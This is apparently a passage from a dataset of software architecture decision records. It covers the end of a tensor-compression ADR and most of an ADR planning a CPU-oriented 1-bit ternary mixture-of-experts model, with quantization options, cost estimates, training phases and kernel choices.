boundary conditions\n- [ ] Unit tests: segment binary format parsing\n\n### Phase 2: WASM FFI (Week 2-3)\n- [ ] Implement `ffi.rs` with handle-based store\n- [ ] Create `ruvector-temporal-tensor-wasm` crate\n- [ ] WASM integration tests via wasm-pack\n- [ ] Binary size validation (< 100KB target)\n- [ ] Performance benchmarks (native vs WASM)\n\n### Phase 3: Integration (Week 3-4)\n- [ ] AgenticDB segment storage adapter\n- [ ] Coherence engine refresh hook\n- [ ] DAG lineage edges for segments\n- [ ] End-to-end benchmark on representative trace\n- [ ] Acceptance test: 6x warm, 10x cold compression\n\n### Phase 4: Optimization (Week 4+)\n- [ ] WASM SIMD for quantize/dequantize hot loops\n- [ ] Native AVX2/NEON specialization\n- [ ] Optional delta encoding within segments\n- [ ] Streaming decode (partial segment access)\n- [ ] Add to workspace `Cargo.toml`\n\n---\n\n## 12. References\n\n1. Frantar, E., et al. \"GPTQ: Accurate Post-Training Quantization for Generative Pre-trained Transformers.\" ICLR 2023.\n2. Lin, J., et al. \"AWQ: Activation-aware Weight Quantization for LLM Compression and Acceleration.\" MLSys 2024.\n3. Kim, S., et al. \"SqueezeLLM: Dense-and-Sparse Quantization.\" ICML 2024.\n4. Chee, J., et al. \"QuIP#: Even Better LLM Quantization with Hadamard Incoherence and Lattice Codebooks.\" ICML 2024.\n5. Egiazarian, V., et al. \"AQLM: Extreme Compression of Large Language Models via Additive Quantization.\" ICML 2024.\n6. Liu, Z., et al. \"KIVI: A Tuning-Free Asymmetric 2bit Quantization for KV Cache.\" ICML 2024.\n7. Zhao, Y., et al. \"Atom: Low-bit Quantization for Efficient and Accurate LLM Serving.\" MLSys 2024.\n8. Liu, R., et al. \"SpinQuant: LLM Quantization with Learned Rotations.\" NeurIPS 2024.\n9. Ma, S., et al. \"The Era of 1-bit LLMs: All Large Language Models are in 1.58 Bits.\" arXiv:2402.17764, 2024.\n10. Pelkonen, T., et al. \"Gorilla: A Fast, Scalable, In-Memory Time Series Database.\" VLDB 2015.\n11. Ashkboos, S., et al. \"QuaRot: Outlier-Free 4-Bit Inference in Rotated LLMs.\" NeurIPS 2024.\n\n---\n\n## Appendix A: Compression Ratio Derivation\n\nFor a tensor of dimension `N` with group size `G`, bit width `B`, and `F` frames per segment:\n\n```\nraw_size = N * 4 * F // f32 bytes per segment\nscale_size = ceil(N/G) * 2 // f16 scales (shared across frames)\nheader_size = 26 // fixed segment header\ndata_size = ceil(N * F * B / 8) // packed bitstream\nsegment_size = header_size + scale_size + data_size\n\ncompression_ratio = raw_size / segment_size\n```\n\n**Example**: N=512, G=64, B=3, F=100:\n```\nraw_size = 512 * 4 * 100 = 204,800 bytes\nscale_size = ceil(512/64) * 2 = 16 bytes\nheader_size = 26 = 26 bytes\ndata_size = ceil(512 * 100 * 3/8) = 19,200 bytes\nsegment_size = 26 + 16 + 19,200 = 19,242 bytes\n\nratio = 204,800 / 19,242 = 10.64x\n```\n\n## Appendix B: Tier Score Examples\n\n| Scenario | access_count | age (ticks) | Score | Tier |\n|----------|-------------|-------------|-------|------|\n| Actively used | 100 | 10 | 10,240 | Hot (8-bit) |\n| Recently used | 50 | 100 | 512 | Hot (8-bit) |\n| Moderate use | 10 | 100 | 102 | Warm (7-bit) |\n| Infrequent | 5 | 200 | 25 | Cold (3-bit) |\n| Stale | 1 | 1000 | 1 | Cold (3-bit) |\n\n## Appendix C: Error Bound Analysis\n\nFor symmetric quantization with bit width `B` and group scale `s`:\n\n```\nquantization_step = s / qmax = s / (2^(B-1) - 1)\nmax_error = quantization_step / 2 // from rounding\nrelative_error = max_error / s = 1 / (2 * qmax)\n```\n\n| Bits | qmax | Max Relative Error |\n|------|------|--------------------|\n| 8 | 127 | 0.39% |\n| 7 | 63 | 0.79% |\n| 5 | 15 | 3.33% |\n| 3 | 3 | 16.7% |\n\nNote: These are worst-case per-element errors. RMS error across a group is typically sqrt(1/12) * quantization_step, which is ~0.29x the max error.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-017-temporal-tensor-compression.md", "created_at": "2026-03-28T11:58:49.042633+00:00", "content_hash": "1046420fe8b7ec39e15295a40507d51d95c7d01e5827515b8807499519ac9ff5"} +{"id": "40a74601-4ea3-4136-9e9d-f5bee3d9f287", "source": "adr", "text": "# ADR-024: Craftsman Ultra 30b 1bit \u2014 BitNet Integration with RuvLLM\n\n**Status:** Proposed\n**Date:** 2026-02-03\n**Decision Makers:** Ruvector Architecture Team\n**Technical Area:** 1-Bit LLM Inference / MoE Architecture / CPU-Native Serving\n\n---\n\n## Context and Problem Statement\n\nLarge language models require substantial GPU resources for inference, limiting deployment to cloud environments and specialized hardware. Recent advances in 1-bit quantization \u2014 specifically Microsoft Research's BitNet b1.58 \u2014 demonstrate that ternary-weight models ({-1, 0, +1}) can match full-precision performance at 3B+ parameters while enabling CPU-only inference at human-readable speeds.\n\nConcurrently, Zhipu AI's GLM-4.7-Flash introduces a 30B-A3B Mixture-of-Experts architecture that activates only ~3B parameters per token while storing 30B total knowledge, achieving strong coding and agentic benchmarks (SWE-bench Verified: 59.2%, LiveCodeBench v6: 64.0%) with 200K context.\n\n**Craftsman Ultra 30b 1bit** is a proposed model that combines these two paradigms: a 30B-A3B MoE architecture with native BitNet b1.58 ternary quantization, purpose-built for CPU inference within the RuvLLM serving runtime. This ADR evaluates the integration path, architectural decisions, and trade-offs.\n\n### Strategic Goal\n\nDeliver a 30B-class coding/agentic model that runs entirely on consumer CPUs (no GPU required) at 5-15 tokens/second decode, with memory footprint under 8GB, integrated into the RuvLLM + Ruvector ecosystem with SONA self-learning capabilities.\n\n---\n\n## Decision Drivers\n\n### Performance Requirements\n\n| Metric | Target | Rationale |\n|--------|--------|-----------|\n| Decode throughput (CPU) | 5-15 tok/s | Human-readable speed per BitNet 100B benchmarks |\n| Prefill latency (1K tokens) | <2s | Interactive coding assistant responsiveness |\n| Memory footprint (model) | <8 GB | Fits in 16GB system RAM with OS + KV cache |\n| Memory footprint (KV cache, 4K ctx) | <2 GB | Q8 KV cache for 4096-token context |\n| Active parameter GEMM | Addition-only | BitNet eliminates multiplication in W\u00d7A |\n| Energy per inference | <0.05J | BitNet CPU efficiency benchmarks |\n\n### Architecture Requirements\n\n- **MoE routing must remain full-precision**: Expert selection requires accurate gating scores\n- **Expert weights are ternary**: Each expert's linear layers use BitLinear (W1.58A8)\n- **Activations quantized to INT8**: Per-token absmax scaling\n- **Shared layers (embeddings, LM head) remain FP16**: Critical for quality preservation\n- **GGUF-compatible**: Must serialize to/load from GGUF v3 format with custom metadata\n\n### Ecosystem Requirements\n\n- Integrate with RuvLLM's existing backend abstraction (`backends/mod.rs`)\n- Leverage existing GGUF parser (`gguf/parser.rs`, `gguf/quantization.rs`)\n- Support SONA learning loops for per-session adaptation\n- Compatible with Claude Flow agent routing for task delegation\n- NAPI bindings for Node.js consumption via `npm/packages/ruvllm`\n\n---\n\n## Research Summary\n\n### BitNet b1.58 Architecture\n\n**Source**: Microsoft Research, \"The Era of 1-bit LLMs\" (Feb 2024), bitnet.cpp (Oct 2024)\n\nBitNet b1.58 replaces standard `nn.Linear` with `BitLinear` layers:\n\n```\nForward Pass:\n 1. W_ternary = RoundClip(W / (gamma + epsilon), -1, 1)\n where gamma = mean(|W|) (absmean quantization)\n 2. X_int8 = Quant(X, absmax) (per-token 8-bit activation)\n 3. Y = W_ternary @ X_int8 (integer addition only, no multiplication)\n 4. Y_float = Dequant(Y) (rescale to float)\n```\n\n**Key properties:**\n- Weights: ternary {-1, 0, +1} \u2192 1.58 bits per parameter\n- Activations: INT8 per-token (absmax scaling)\n- Matrix multiply becomes **addition and subtraction only** (no FP multiply)\n- Zero weights enable **feature filtering** (sparse activation within dense layers)\n- Must be **trained from scratch** \u2014 post-training quantization to 1-bit destroys quality\n\n**Inference kernels (bitnet.cpp):**\n\n| Kernel | Method | Compression | Best For |\n|--------|--------|-------------|----------|\n| I2_S | 2-bit pack, unpack-and-multiply | 2 bits/weight | Bandwidth-limited |\n| TL1 | 2-weight \u2192 4-bit LUT index | 2 bits/weight | Balanced CPU |\n| TL2 | 3-weight \u2192 5-bit LUT index | 1.67 bits/weight | Memory-limited |\n\n**CPU performance (bitnet.cpp benchmarks):**\n\n| Platform | Speedup vs FP16 | Energy Reduction |\n|----------|-----------------|-----------------|\n| ARM (NEON) | 1.37x \u2013 5.07x | 55-70% |\n| x86 (AVX2) | 2.37x \u2013 6.17x | 72-82% |\n| x86 (AVX512) | ~6x+ | ~85% |\n\n### GLM-4.7-Flash Architecture\n\n**Source**: Zhipu AI / Z.AI (Jan 2026)\n\n| Property | Value |\n|----------|-------|\n| Total parameters | ~30B (31B reported) |\n| Active parameters | ~3B (A3B) |\n| Architecture | Mixture of Experts (MoE) |\n| Shared layers | ~2B parameters |\n| Expert layers | ~28B (distributed across experts) |\n| Context window | 200K tokens (MLA-based) |\n| Training data | 15T general + 7T reasoning/code tokens |\n| Attention | Multi-head Latent Attention (MLA) with QK-Norm |\n| Activation | SwiGLU |\n| Position encoding | RoPE |\n| Speculative decoding | Multi-Token Prediction (MTP) layer |\n| Reasoning | Interleaved + Retention-Based + Round-Level |\n\n**Benchmark performance:**\n\n| Benchmark | Score |\n|-----------|-------|\n| AIME 25 | 91.6% |\n| GPQA | 75.2% |\n| SWE-bench Verified | 59.2% |\n| LiveCodeBench v6 | 64.0% |\n| HLE | 14.4% |\n| tau2-Bench | 79.5% |\n\n### RuvLLM Current Capabilities (Relevant)\n\n- **GGUF v3 parser**: Full format support including IQ1_S (1.56 bits/weight, type 19)\n- **Quantization pipeline**: Q4_K_M, Q5_K_M, Q8_0, F16 (no native ternary training)\n- **Backends**: Candle (Metal/CUDA), mistral-rs (PagedAttention), CoreML (ANE)\n- **No CPU-optimized ternary kernel**: Current backends target GPU acceleration\n- **SIMD kernels**: Existing NEON/SSE4.1/AVX2 infrastructure in `crates/ruvllm/src/kernels/`\n- **MicroLoRA**: Rank 1-2 adapters with <1ms adaptation (compatible with BitNet)\n- **SONA**: Three-tier learning (instant/background/deep) \u2014 can drive ternary adapter training\n\n### RuvLLM RLM Training Stack (Reusable for Distillation)\n\nRuvLLM contains a mature reinforcement-learning-from-model-feedback (RLM) training stack that directly accelerates Craftsman Ultra distillation. These components are production-tested and reduce net-new code by ~70%.\n\n**GRPO \u2014 Group Relative Policy Optimization** (`training/grpo.rs`, 897 lines)\n- Critic-free RL: computes relative advantages within sample groups\n- Adaptive KL divergence penalty (`kl_target`, `clip_range`) controls teacher-student divergence\n- PPO-style clipping prevents catastrophic updates\n- Preset configs: `GrpoConfig::stable()` (safe distillation), `GrpoConfig::for_tool_use()` (expert routing)\n- Thread-safe batch processing via `RwLock>`\n\n**RealContrastiveTrainer** (`training/real_trainer.rs`, 1000 lines)\n- Candle-based training loop with GGUF model loading and GGUF weight export\n- Combined loss: Triplet (margin) + InfoNCE (contrastive) + GRPO reward scaling\n- AdamW optimizer with gradient clipping, LR warmup, checkpointing\n- `GrpoEvaluator` computes per-prediction rewards (1.0 correct, -0.5 wrong)\n- Metal/CUDA acceleration via Candle device dispatch\n\n**MicroLoRA + EWC++ Training Pipeline** (`lora/training.rs`, 798 lines)\n- Single-example gradient computation (batch_size=1 for real-time)\n- EWC++ regularizer: `\u03bb/2 * \u03a3 F_i * (w_i - w*_i)\u00b2` prevents catastrophic forgetting\n- Fisher diagonal tracking with exponential decay (`fisher_decay: 0.999`)\n- 7 learning rate schedules (Cosine, OneCycle, Step, etc.)\n- Async adaptation with buffered gradient accumulation\n\n**Memory Distillation** (`reasoning_bank/distillation.rs`, 856 lines)\n- Compresses trajectories to `KeyLesson` objects with semantic embeddings\n- Smart extraction: explicit lessons, implicit patterns, error patterns, recovery patterns\n- Semantic deduplication (Jaccard + cosine similarity, threshold 0.85)\n- Quality-gated: only trajectories above `min_quality_threshold` are preserved\n\n**Policy Store** (`policy_store.rs`, 474 lines)\n- Ruvector-backed semantic policy persistence with HNSW indexing\n- Policy types: `Quantization`, `Router`, `Ewc`, `Pattern`\n- Per-layer `QuantizationPolicy` with precision, activation thresholds, quality-latency tradeoff\n- Policy source tracking: `InstantLoop`, `BackgroundLoop`, `DeepLoop`, `Federated`\n\n**Contrastive Training** (`training/contrastive.rs`, 634 lines)\n- Two-stage: Triplet Loss (margin=0.5) + InfoNCE (temperature=0.07)\n- 13 agent types with 1,078 training triplets (578 base + 500 hard negatives)\n- Hard negative mining at 48.4% ratio (Claude-generated confusing pairs)\n- Proven 100% routing accuracy with hybrid keyword-first + embedding fallback\n\n---\n\n## Considered Options\n\n### Option A: Post-Training Quantization of GLM-4.7-Flash (PTQ Tiers)\n\nTake the existing BF16 GLM-4.7-Flash weights and quantize to low-bit formats without full distillation training.\n\n**Critical distinction \u2014 IQ1_S \u2260 BitNet b1.58:**\n\n| Property | GGUF IQ1_S | BitNet b1.58 |\n|----------|-----------|--------------|\n| Encoding | Codebook-based importance quantization | Ternary {-1, 0, +1} via absmean |\n| Bits/weight | 1.56 bpw | 1.58 bpw |\n| Inference | **Dequantize \u2192 FP multiply** | **Integer addition only (no multiply)** |\n| Speed benefit | Memory bandwidth only | Bandwidth + compute (multiplication-free) |\n| How obtained | Post-training quantization | Trained from scratch or distilled |\n| Quality at 7B | Near-random / broken outputs | Matches FP16 |\n\n**Existing GLM-4.7-Flash GGUF quantizations available** (community-published):\n\n| Repository | Lowest Quant | Size | Notes |\n|-----------|-------------|------|-------|\n| [bartowski/zai-org_GLM-4.7-Flash-GGUF](https://huggingface.co/bartowski/zai-org_GLM-4.7-Flash-GGUF) | IQ2_XXS (2.06 bpw) | 7.62 GB | No IQ1_S published |\n| [unsloth/GLM-4.7-Flash-GGUF](https://huggingface.co/unsloth/GLM-4.7-Flash-GGUF) | UD-Q2_K_XL (2.7 bpw dynamic) | ~11 GB | Dynamic quant, recommended |\n| [ngxson/GLM-4.7-Flash-GGUF](https://huggingface.co/ngxson/GLM-4.7-Flash-GGUF) | Q4_K_M (4.5 bpw) | 18.1 GB | 55 variants available |\n\n**No IQ1_S quantization** has been published for GLM-4.7-Flash by any community quantizer \u2014 this itself is a signal (too aggressive for practical use).\n\n**Sub-options ranked by increasing effort:**\n\n**Sub-option 0A: Download existing IQ2_XXS GGUF**\n- Download bartowski's IQ2_XXS at 7.62 GB\n- Cost: $0, time: 5 minutes (just download)\n- Quality: ~75-80% of FP16 (2.06 bpw is usable per community reports)\n- NOT 1-bit, NOT BitNet \u2014 just aggressive 2-bit compression\n- RuvLLM gap: IQ2_XXS dequantization not implemented (falls to error catch-all in `quantization.rs:358`)\n- RuvLLM Q2_K dequantization IS implemented and works\n\n**Sub-option 0B: Quantize to IQ1_S via llama.cpp**\n- Run `llama-quantize GLM-4.7-Flash-F16.gguf IQ1_S` with importance matrix\n- Cost: $0, time: ~30 minutes on CPU\n- Quality: **SEVERE degradation** \u2014 blind testing shows IQ1_S is \"broken rather than just bad\" on 7B; outputs contain garbled text despite acceptable perplexity scores. 30B MoE may survive better due to parameter redundancy, but expert routing is highly sensitive to weight perturbation\n- RuvLLM gap: IQ1_S dequantization not implemented (`quantization.rs:358` catch-all)\n- Does NOT achieve BitNet multiplication-free inference\n\n**Sub-option 0C: PT-BitNet ternary PTQ** (per [PT-BitNet paper](https://www.sciencedirect.com/science/article/abs/pii/S089360802500735X))\n- Apply absmean ternary quantization (BitNet's native method) to pre-trained weights with calibration data\n- Cost: **$0** (runs locally on Mac Studio via mmap + Metal; 1-4 hours wall time)\n- Alternative: ~$50-200 on cloud GPU if no local Apple Silicon hardware\n- Quality: ~55-65% downstream accuracy (PT-BitNet reports 61% on 70B; GLM-4.7-Flash's 30B-A3B may differ)\n- THIS IS proper BitNet ternary format \u2192 **enables multiplication-free inference with AD-4 kernels**\n- Requires implementing absmean ternary quantizer (~200-300 lines of new code)\n- Requires calibration dataset (WikiText-2 or similar, ~1M tokens)\n- Mac Studio M4 Max 64GB+ or M3 Ultra 96GB+ recommended (see AD-18)\n\n**Sub-option 0D: BitDistill Lite (10B tokens)** (per [BitDistill paper](https://arxiv.org/html/2510.13998v1))\n- 3-stage: SubLN insertion \u2192 10B-token continued pre-training \u2192 KL + attention distillation\n- Cost: ~$200-500 (8\u00d7 GPU hours on Mi300X/A100 class)\n- Quality: **~90-95% of FP16** (BitDistill reports 88.17% vs 88.01% FP16 on MNLI at 0.6B)\n- Near-full quality recovery with only 10B tokens (vs 200B+ for Phase 1 full distillation)\n- Requires SubLN module insertion + distillation fine-tuning loop\n- Bridges gap between pure PTQ and full expert distillation (Phase 1)\n\n**Summary comparison:**\n\n| Sub-option | Cost | Time | Quality (est.) | BitNet Speedup | RuvLLM Ready |\n|-----------|------|------|---------------|----------------|-------------|\n| 0A: IQ2_XXS download | $0 | 5 min | ~75-80% | No | No (missing dequant) |\n| 0B: IQ1_S quantize | $0 | 30 min | ~40-50% | No | No (missing dequant) |\n| 0C: PT-BitNet PTQ | **$0 (Mac Studio)** | 1-4 hrs | ~55-65% | **Yes** | Needs quantizer impl |\n| 0D: BitDistill Lite | $0 local / ~$300 cloud | 2-4 wks / 1-2 days | ~90-95% | **Yes** | Needs SubLN + KD loop |\n\n**Pros (of PTQ approach generally):**\n- Immediate or near-immediate results ($0-$300, minutes to days)\n- No large-scale training infrastructure\n- Validates inference pipeline and kernels before investing in full distillation\n- Sub-option 0C produces genuine BitNet ternary format for kernel development\n\n**Cons:**\n- Sub-options 0A/0B: Quality too degraded for production coding tasks\n- Sub-options 0A/0B: No BitNet multiplication-free inference (still dequant-then-multiply)\n- Sub-option 0C: Significant quality loss (~35-45%) vs teacher \u2014 adequate for kernel validation, not production\n- Sub-option 0D: Requires non-trivial training code (SubLN, KD loss) but much less than full Phase 1\n- IQ1_S blind test results: statistically indistinguishable from random on smaller models\n\n**Verdict: Recommended as Phase 0 rapid prototype** \u2014 Sub-option 0C (PT-BitNet PTQ) is the optimal entry point: $100, 2-4 hours, produces genuine BitNet ternary format for kernel development and inference validation. Sub-option 0D (BitDistill Lite) bridges to Phase 1 if higher quality is needed before committing to full expert distillation. Sub-options 0A/0B are useful only as baselines for comparison.\n\n### Option B: Native BitNet Training of GLM-4.7-Flash Architecture (Full)\n\nTrain Craftsman Ultra 30b 1bit from scratch using BitNet b1.58 methodology on the GLM-4.7-Flash MoE architecture.\n\n**Approach:**\n1. Implement BitLinear layers for all expert MLPs and attention projections\n2. Keep MoE router, embeddings, and LM head in FP16\n3. Train on 4T+ tokens with ternary weight updates via straight-through estimator\n4. Export to custom GGUF with ternary tensor metadata\n\n**Pros:**\n- Maximum quality \u2014 matches FP16 at 3B+ active parameter scale\n- True multiplication-free inference for expert forward passes\n- Full TL1/TL2 kernel optimization possible\n- Scientifically validated approach (BitNet b1.58 2B4T results)\n\n**Cons:**\n- Massive training compute: estimated 4,000-8,000 A100-hours for 4T tokens\n- Requires custom training framework (BitNet + MoE + MLA integration)\n- 6-12 month timeline for training pipeline + training run\n- No pre-existing GLM-4.7-class BitNet training recipe\n\n**Verdict: Recommended long-term** \u2014 Highest quality but requires significant investment.\n\n### Option C: Hybrid Approach \u2014 BitNet Distillation from GLM-4.7-Flash (RLM-Accelerated)\n\nUse knowledge distillation to transfer GLM-4.7-Flash capabilities into a BitNet architecture, reducing training cost by 5-10x. **Leverages the existing RLM training stack** to eliminate ~70% of net-new training code.\n\n**Approach:**\n1. Initialize Craftsman Ultra with GLM-4.7-Flash architecture (30B-A3B MoE)\n2. Replace all expert linear layers with BitLinear (ternary {-1, 0, +1})\n3. Keep router, embeddings, LM head in FP16\n4. **Extend `RealContrastiveTrainer`** with KD loss (KL div + hard-label CE) replacing triplet+InfoNCE\n5. **Use `GrpoOptimizer`** for per-expert quality rewards during distillation \u2014 each `SampleGroup` maps to one expert's teacher vs student outputs\n6. **Apply `EwcRegularizer`** across distillation phases to prevent early-trained experts from being overwritten\n7. **Log distillation trajectories** to `MemoryDistiller` for quality tracking and `KeyLesson` extraction\n8. **Persist per-layer ternary policies** via `PolicyStore` (quantization thresholds, scale distributions)\n9. Export to GGUF with ternary tensor metadata and TL1/TL2 kernel hints via existing `GgufExportResult`\n\n**RLM Component Reuse:**\n\n| Existing Component | Reuse | Adaptation Needed |\n|-------------------|-------|-------------------|\n| `RealContrastiveTrainer` | Training loop, GGUF export, checkpointing | Replace triplet+InfoNCE with KD loss |\n| `GrpoOptimizer` | Reward scaling, adaptive KL, PPO clipping | Map `SampleGroup` to per-expert outputs |\n| `EwcRegularizer` | Fisher diagonal, forgetting prevention | Apply across expert distillation phases |\n| `MemoryDistiller` | Trajectory compression, lesson extraction | Map `Verdict` to teacher-student quality delta |\n| `PolicyStore` | Semantic policy persistence | Add `PolicyType::TernaryScale` for per-block absmean tracking |\n| `ContrastiveTrainer` | Hard negative mining framework | Reuse for expert-routing contrastive pre-training |\n\n**Pros:**\n- 5-10x less compute than training from scratch (~800-1,600 A100-hours)\n- **~70% existing code reuse** \u2014 only BitLinear forward/backward and MoE data loading are net-new\n- Leverages GLM-4.7-Flash's proven architecture and routing\n- GRPO's adaptive KL prevents ternary student from diverging too far from teacher\n- EWC++ ensures sequential expert distillation doesn't corrupt earlier experts\n- Teacher model provides strong supervision signal for ternary convergence\n- Can incrementally improve with more distillation tokens\n- `PolicyStore` enables learned per-layer quantization decisions\n- Distillation quality tracked end-to-end via `MemoryDistiller` trajectory logging\n\n**Cons:**\n- Slight quality gap vs native training (estimated 2-5% on benchmarks)\n- `RealContrastiveTrainer` embedding_dim (896) must scale to GLM-4.7-Flash hidden_size\n- Teacher inference cost during distillation\n- Distillation may not perfectly transfer MoE routing behavior\n\n**Verdict: Recommended near-term** \u2014 Best balance of quality, cost, and timeline. RLM reuse eliminates the \"custom framework\" risk.\n\n### Option D: BitNet Expert Replacement (Incremental, RLM-Accelerated)\n\nKeep GLM-4.7-Flash structure but replace only the expert MLP layers with BitLinear, leaving attention in FP16. **Reuses existing RLM stack for the entire distillation loop.**\n\n**Approach:**\n1. Load GLM-4.7-Flash architecture\n2. Replace expert FFN layers (gate_proj, up_proj, down_proj) with BitLinear\n3. Keep attention (Q/K/V/O projections) in FP16\n4. **Use `RealContrastiveTrainer` + `GrpoOptimizer`** for expert-only distillation (~200B tokens)\n5. **Apply `EwcRegularizer`** to prevent expert N+1 distillation from corrupting expert N\n6. Attention weights loaded directly from GLM-4.7-Flash (no distillation needed)\n7. **Use contrastive pre-training** to validate MoE routing still selects correct experts after ternary conversion\n\n**Pros:**\n- Fastest path to working model\n- Attention quality preserved exactly\n- Expert FFN is 60-70% of active parameters \u2014 gets most BitNet benefits\n- Simpler distillation (only FFN layers)\n- Lower memory: ~5.5 GB for ternary experts + FP16 attention\n- **Minimal net-new code**: BitLinear layer + GGUF ternary type only; training loop is 100% reused\n\n**Cons:**\n- Attention layers still require FP multiply (not fully multiplication-free)\n- Mixed-precision inference path complexity\n- ~40% of compute still in FP16 attention\n\n**Verdict: Recommended as Phase 1** \u2014 Enables rapid prototyping and validation. RLM reuse makes this achievable with only ~30% new code.\n\n---\n\n## Decision\n\n**Phased approach: A(0C) \u2192 RLM Refinement \u2192 D \u2192 C \u2192 B**\n\n### Phase 0: PTQ Rapid Prototype (Option A, Sub-option 0C)\n- **Timeline**: 1-2 weeks\n- **Cost**: **$0** (runs entirely on Mac Studio locally)\n- **Platform**: Mac Studio (M4 Max 64GB+ or M3 Ultra 96GB+)\n- **Goal**: Produce a genuine BitNet ternary GGUF of GLM-4.7-Flash for kernel development, inference pipeline validation, and baseline quality measurement\n- **Deliverables**:\n - PT-BitNet ternary quantized GLM-4.7-Flash GGUF file (~6-7 GB)\n - Absmean ternary quantizer implementation (~200-300 lines)\n - IQ1_S / BITNET_T158 dequantization kernel in RuvLLM\n - Baseline quality benchmarks (HumanEval, MMLU) to compare against Phase 1+\n - Functional TL1 kernel validated against ternary model\n- **Expected quality**: ~55-65% of GLM-4.7-Flash (adequate for kernel validation, not production)\n- **Key value**: De-risks Phase 1 by validating the entire inference pipeline (GGUF loading \u2192 ternary dequant \u2192 TL1 kernel \u2192 MoE routing \u2192 token generation) at zero cost before committing to $1,300+ distillation training\n- **Why Mac Studio works**: Phase 0 is PTQ (no training loop) \u2014 just load FP16 weights via mmap, compute absmean per block, round to ternary, export. The absmean computation is trivial math; the bottleneck is memory bandwidth, not compute. Calibration forward pass uses Metal GPU acceleration via existing Candle integration.\n- **Optional upgrade (0D)**: If 0C quality is too low for meaningful testing, apply BitDistill Lite (10B tokens, ~$300 cloud or ~$0 on Mac Studio over several weeks) to reach ~90-95% quality\n\n### Phase 0.5: RLM Post-Quantization Refinement (NEW \u2014 Mac Studio, $0)\n- **Timeline**: 1-3 weeks (overlaps with Phase 0 kernel development)\n- **Cost**: **$0** (runs on Mac Studio, ~2-12 days training wall time with Metal; ~4-24 days SIMD-only)\n- **Platform**: Mac Studio (same as Phase 0) \u2014 **supports both Metal GPU and pure SIMD/CPU modes** (see AD-20)\n- **Goal**: Improve Phase 0 PTQ quality from ~55-65% to ~70-80% by training only the small FP16 components using the existing RLM stack \u2014 **no traditional distillation, no cloud GPU**\n- **Approach**: Freeze ternary weights, train FP16 corrections using RLM components:\n 1. **MicroLoRA adapters** (rank 1-2) on each expert FFN \u2014 adds small FP16 correction: `Y = BitLinear(X) + LoRA_B @ LoRA_A @ X`\n 2. **Router fine-tuning** via ContrastiveTrainer \u2014 corrects misrouting caused by PTQ weight changes\n 3. **Scale factor optimization** via GRPO rewards \u2014 per-block FP16 absmean scales are differentiable\n 4. **EWC++ regularization** \u2014 prevents router fix from breaking already-good routing paths\n 5. **Quality tracking** via MemoryDistiller \u2014 identifies worst-degraded experts for focused training\n 6. **Policy persistence** via PolicyStore \u2014 stores optimized per-layer configurations\n- **Trainable parameters**: ~200-400M (1-2% of 30B total) \u2014 router (~30M), MicroLoRA adapters (~50-100M), LM head (~150M), scale factors (~0.1M)\n- **Training data**: 100M-500M tokens (sufficient for <400M trainable params)\n- **Throughput**: ~500-1000 tok/s (Metal) or ~200-500 tok/s (NEON SIMD only) \u00d7 100M-500M tokens = **2-12 days (Metal) or 4-24 days (SIMD-only) on Mac Studio**\n- **Deliverables**:\n - RLM-refined GGUF with ternary experts + optimized FP16 components\n - MicroLoRA adapter weights (exportable, ~20-100 MB)\n - Optimized router weights and scale factors\n - Quality benchmarks showing improvement over Phase 0 baseline\n- **Expected quality**: **~70-80% of GLM-4.7-Flash** (up from ~55-65% Phase 0 PTQ)\n- **Key value**: Gets a usable model on Mac Studio at $0 before committing to cloud GPU. If 70-80% quality is sufficient for the use case, Phase 1 cloud distillation may be deferred or skipped entirely.\n- **100% RLM code reuse**: MicroLoRA, TrainingPipeline, EwcRegularizer, GrpoOptimizer, ContrastiveTrainer, MemoryDistiller, PolicyStore \u2014 all production-tested, zero new training code needed\n\n### Phase 1: BitNet Expert Replacement (Option D)\n- **Timeline**: 3-4 months\n- **Cost**: ~$1,300-$2,000 (4\u00d7 A100 spot, ~46 days)\n- **Goal**: Full-quality ternary experts via distillation, validated against Phase 0/0.5 baselines\n- **Deliverables**: Working Craftsman Ultra 30b 1bit (mixed: ternary experts, FP16 attention)\n- **Expected quality**: ~90-95% of GLM-4.7-Flash on coding benchmarks\n- **Prerequisites**: Phase 0 validates inference pipeline; Phase 0.5 provides quality baseline\n\n### Phase 2: Full BitNet Distillation (Option C)\n- **Timeline**: 4-6 months after Phase 1\n- **Cost**: ~$2,500-$5,000 (4\u00d7 H100, 16-32 days)\n- **Goal**: Full ternary model with complete BitNet inference optimization\n- **Deliverables**: Craftsman Ultra 30b 1bit v2 (full ternary except router/embed/head)\n- **Expected quality**: ~95-98% of GLM-4.7-Flash\n\n### Phase 3: Native BitNet Training (Option B)\n- **Timeline**: 6-12 months after Phase 2, contingent on funding/compute\n- **Cost**: ~$15,000-$30,000 (8\u00d7 H100 cluster, 90-180 days)\n- **Goal**: Surpass GLM-4.7-Flash quality with native ternary training\n- **Deliverables**: Craftsman Ultra 30b 1bit v3 (trained from scratch)\n- **Expected quality**: 100%+ of GLM-4.7-Flash (BitNet at scale exceeds FP16)\n\n---\n\n## Architectural Decisions\n\n### AD-1: Ternary Weight Representation\n\n**Decision**: Use BitNet b1.58 absmean quantization for weight ternary encoding.\n\n```\nW_ternary = RoundClip(W / (mean(|W|) + epsilon), -1, 1)\n```\n\nEach weight is one of {-1, 0, +1}, stored as 2-bit packed integers (I2_S format) in GGUF tensors. Per-block scale factor stored as FP16.\n\n**Storage format per block (256 elements):**\n- 64 bytes for ternary weights (2 bits \u00d7 256)\n- 2 bytes for absmean scale (FP16)\n- Total: 66 bytes / 256 weights = **2.06 bits/weight**\n\n### AD-2: MoE Router Precision\n\n**Decision**: MoE gating/routing network remains in FP16.\n\n**Rationale**: Expert selection requires high-precision softmax scores to maintain routing quality. Quantizing the router to ternary would collapse expert selection, effectively turning a 30B model into a random-expert 3B model. The router is <0.1% of total parameters.\n\n**Components kept in FP16:**\n- Expert gating weights (router)\n- Token embedding table\n- LM head (output projection)\n- RoPE frequency table\n- LayerNorm/RMSNorm parameters\n\n### AD-3: Activation Quantization\n\n**Decision**: INT8 per-token absmax quantization for activations flowing through BitLinear layers.\n\n```\nX_int8 = clamp(round(X * 127 / max(|X|)), -128, 127)\n```\n\n**Rationale**: Consistent with BitNet b1.58 specification. INT8 activations enable integer-only GEMM in expert forward passes. Attention activations remain in FP16/BF16 for KV cache compatibility.\n\n### AD-4: CPU Inference Kernel Strategy\n\n**Decision**: Implement all three bitnet.cpp kernel types, with runtime selection based on hardware detection.\n\n| Kernel | Target Hardware | Selection Criteria |\n|--------|----------------|-------------------|\n| **I2_S** | x86 AVX512, ARM SVE | Systems with wide SIMD and high bandwidth |\n| **TL1** | x86 AVX2, ARM 